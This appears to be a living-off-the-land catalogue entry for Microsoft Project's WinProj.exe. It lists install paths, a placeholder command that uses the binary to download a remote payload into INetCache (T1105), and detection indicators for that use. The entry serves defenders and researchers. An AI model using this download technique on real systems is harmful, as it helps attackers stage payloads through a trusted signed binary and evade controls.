WinProj.exe

type: OtherMSBinaries
Microsoft Project Executable

Full path

C:\Program Files (x86)\Microsoft Office\Office14\WinProj.exe
C:\Program Files\Microsoft Office\Office14\WinProj.exe
C:\Program Files (x86)\Microsoft Office\Office15\WinProj.exe
C:\Program Files\Microsoft Office\Office15\WinProj.exe
C:\Program Files (x86)\Microsoft Office\Office16\WinProj.exe
C:\Program Files\Microsoft Office\Office16\WinProj.exe
C:\Program Files (x86)\Microsoft Office\root\Office14\WinProj.exe
C:\Program Files\Microsoft Office\root\Office14\WinProj.exe
C:\Program Files (x86)\Microsoft Office\root\Office15\WinProj.exe
C:\Program Files\Microsoft Office\root\Office15\WinProj.exe
C:\Program Files (x86)\Microsoft Office\root\Office16\WinProj.exe
C:\Program Files\Microsoft Office\root\Office16\WinProj.exe

Commands

  1. DownloadUser T1105

    It will download a remote payload and place it in INetCache.

    WinProj.exe {REMOTEURL}

    Downloads payload from remote server

    os: Windows

    Download: INetCache

Detection

  • IOCURL on a WinProj command line
  • IOCWinProj making unexpected network connections or DNS requests

acknowledgement: Avihay Eldad @AvihayEldad